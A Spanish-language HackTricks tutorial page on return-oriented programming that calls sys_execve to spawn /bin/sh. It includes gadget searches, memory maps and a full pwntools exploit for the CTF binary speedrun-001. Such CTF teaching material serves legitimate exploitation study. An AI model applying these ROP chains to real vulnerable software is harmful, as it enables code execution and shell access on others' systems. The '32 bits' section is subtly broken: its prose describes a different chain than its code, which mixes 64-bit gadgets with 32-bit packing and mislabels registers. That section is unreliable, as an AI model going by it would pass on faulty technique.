# ROP - llamar a sys\_execve
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family) * Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Para preparar la llamada al **syscall** se necesita la siguiente configuración: * `rax: 59 Especifica sys_execve` * `rdi: ptr a "/bin/sh" especifica el archivo a ejecutar` * `rsi: 0 especifica que no se pasan argumentos` * `rdx: 0 especifica que no se pasan variables de entorno` Por lo tanto, básicamente se necesita escribir la cadena `/bin/sh` en algún lugar y luego realizar la `syscall` (siendo consciente del relleno necesario para controlar la pila). ## Controlar los registros Comencemos encontrando **cómo controlar esos registros**: ```c ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret 0x0000000000400686 : pop rdi ; ret 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` Con estas direcciones es posible **escribir el contenido en la pila y cargarlo en los registros**. ## Escribir cadena ### Memoria escribible Primero necesitas encontrar un lugar escribible en la memoria. ```bash gef> vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` ### Escribir una cadena Luego necesitas encontrar una forma de escribir contenido arbitrario en esta dirección. ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` #### 32 bits En esta sección, se explicará cómo ejecutar una llamada al sistema `execv` utilizando ROP en una arquitectura de 32 bits. La llamada al sistema `execv` se utiliza para ejecutar un programa en un proceso existente. Toma dos argumentos: el primero es el nombre del archivo ejecutable y el segundo es una matriz de argumentos que se pasan al programa. Para ejecutar esta llamada al sistema utilizando ROP, necesitamos encontrar las direcciones de memoria de las siguientes funciones: - `execv` - `exit` - `/bin/sh` Una vez que tengamos estas direcciones, podemos construir nuestra cadena ROP. La cadena ROP debe tener el siguiente formato: ``` [padding] + [execv address] + [exit address] + ["/bin/sh" address] + [argumentos] + [null] ``` El `padding` se utiliza para llenar el espacio entre el final de la cadena ROP y el inicio de la pila. Los argumentos son una cadena de argumentos separados por null. El último null se utiliza para indicar el final de la matriz de argumentos. Una vez que tengamos nuestra cadena ROP, podemos sobrescribir la dirección de retorno de la función vulnerable con la dirección de la primera instrucción de nuestra cadena ROP. Esto hará que la función vulnerable salte a nuestra cadena ROP en lugar de volver a la dirección de retorno original. Una vez que se ejecute nuestra cadena ROP, se llamará a la función `execv` con los argumentos que proporcionamos. Esto ejecutará el programa especificado en el primer argumento con los argumentos adicionales especificados en la matriz de argumentos. En resumen, para ejecutar una llamada al sistema `execv` utilizando ROP en una arquitectura de 32 bits, necesitamos encontrar las direcciones de memoria de `execv`, `exit` y `/bin/sh`, construir una cadena ROP con el formato adecuado y sobrescribir la dirección de retorno de la función vulnerable con la dirección de la primera instrucción de nuestra cadena ROP. ```python ''' Lets write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop += popRdx # place value into EAX rop += "/bin" # 4 bytes at a time rop += popRax # place value into edx rop += p32(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += popRdx rop += "//sh" rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` #### 64 bits En sistemas de 64 bits, los registros son más grandes, por lo que necesitamos más gadgets para construir nuestra cadena ROP. Además, los argumentos se pasan en diferentes registros. En Linux, los primeros seis argumentos se pasan en los registros RDI, RSI, RDX, RCX, R8 y R9, respectivamente. Si hay más argumentos, se pasan en la pila. Para llamar a una syscall en sistemas de 64 bits, primero debemos mover el número de la syscall al registro RAX y luego llamar a la instrucción `syscall`. Los argumentos se pasan en los registros mencionados anteriormente. Por ejemplo, para llamar a la syscall `execve("/bin/sh", NULL, NULL)`, necesitamos los siguientes gadgets: ``` pop rdi; ret pop rsi; ret pop rdx; ret mov eax, 0x3b; ret syscall ``` Aquí, el primer gadget saca el valor de `/bin/sh` de la pila y lo mueve al registro RDI. El segundo gadget saca el valor NULL de la pila y lo mueve al registro RSI. El tercer gadget saca otro valor NULL de la pila y lo mueve al registro RDX. El cuarto gadget mueve el número de la syscall `execve` al registro RAX. Finalmente, la instrucción `syscall` llama a la syscall con los argumentos pasados en los registros correspondientes. ```python ''' Lets write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` ## Ejemplo ```python from pwn import * target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad') # Establish our ROP Gadgets popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5) # 0x000000000048d251 : mov qword ptr [rax], rdx ; ret writeGadget = p64(0x48d251) # Our syscall gadget syscall = p64(0x40129c) ''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget ''' Prep the four registers with their arguments, and make the syscall pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0 syscall ''' rop += popRax rop += p64(0x3b) rop += popRdi rop += p64(0x6b6000) rop += popRsi rop += p64(0) rop += popRdx rop += p64(0) rop += syscall # Add the padding to the saved return address payload = "0"*0x408 + rop # Send the payload, drop to an interactive shell to use our new shell target.sendline(payload) target.interactive() ``` ## Referencias * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).